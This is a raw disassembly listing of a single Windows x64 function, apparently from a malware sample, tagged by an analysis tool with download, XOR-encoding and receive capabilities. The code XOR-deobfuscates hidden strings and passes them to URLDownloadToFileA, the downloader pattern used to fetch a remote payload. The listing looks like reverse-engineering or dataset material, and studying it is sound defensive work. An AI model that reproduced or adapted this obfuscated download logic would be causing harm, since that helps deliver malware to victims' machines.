Function at 0x140001c40
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x37], rax
movups xmm0, xmmword [0x140007520]
movups xmmword [rbp - 0x19], xmm0
movsd xmm0, qword [0x140007530]
movsd qword [rbp - 9], xmm0
mov r14d, dword [0x14000a088]
cmp byte [0x140007537], 0
je 0x140001e20
cmp r14d, 2
jl 0x140001ddf
movdqa xmm5, xmmword [0x140007810]
xor edx, edx
movdqa xmm4, xmmword [0x140007860]
movdqa xmm6, xmmword [0x140007830]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 7], xmm0
lea rcx, [rbp - 0x15]
mov r8d, dword [rbp + 7]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140007840]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140007840]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140001ce0
jmp 0x140001e20
lea r9, [rbp - 0x19]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140001df0
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], 0
mov qword [rbp + 0x2f], 0
lea rax, [rbp - 0x19]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001e42
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1400021c8
cmp rbx, 0xf
ja 0x140001e8a
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], 0xf
mov r8, rbx
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x17]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x17], 0
jmp 0x140001f21
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001ebf
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005860
test rax, rax
je 0x140001eea
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001f02
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001ef1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400021ce
jmp 0x140001ea4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001f00
call fcn.140005860
mov rsi, rax
jmp 0x140001f02
xor esi, esi
mov qword [rbp + 0x17], rsi
mov qword [rbp + 0x27], rbx
mov qword [rbp + 0x2f], rdi
mov r8, rbx
lea rdx, [rbp - 0x19]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea r9, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova r9, qword [rbp + 0x17]
mov rdi, qword [rbp + 0x27]
mov rax, qword [0x14000a0d0]
cmp rdi, rax
ja 0x140001f6d
lea rbx, [0x14000a0b8]
cmp rax, 0xf
cmova rbx, qword [0x14000a0b8]
mov qword [0x14000a0c8], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140001f75
mov rdx, rdi
call fcn.1400053d0
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova r8, qword [rbp + 0x17]
movups xmm0, xmmword [0x140007538]
movups xmmword [rbp - 0x19], xmm0
movsd xmm0, qword [0x140007548]
movsd qword [rbp - 9], xmm0
mov eax, dword [0x140007550]
mov dword [rbp - 1], eax
movzx eax, word [0x140007554]
mov word [rbp + 3], ax
cmp byte [0x140007555], 0
je 0x14000213c
xor ecx, ecx
cmp r14d, 2
jl 0x140002102
movdqa xmm5, xmmword [0x140007810]
movdqa xmm4, xmmword [0x140007860]
movdqa xmm6, xmmword [0x140007830]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 7], xmm0
lea rdx, [rbp - 0x15]
mov r9d, dword [rbp + 7]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140007840]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140007840]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140002000
cmp ecx, 0x1e
jge 0x14000213c
movsxd rax, ecx
lea r9, [rbp - 0x19]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x1e
jl 0x140002110
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, [rbp - 0x19]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0xf
jbe 0x140002197
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002192
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002192
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005adc
movzx eax, bl
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140005840
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.1400011e0
int3
call fcn.140001140
int3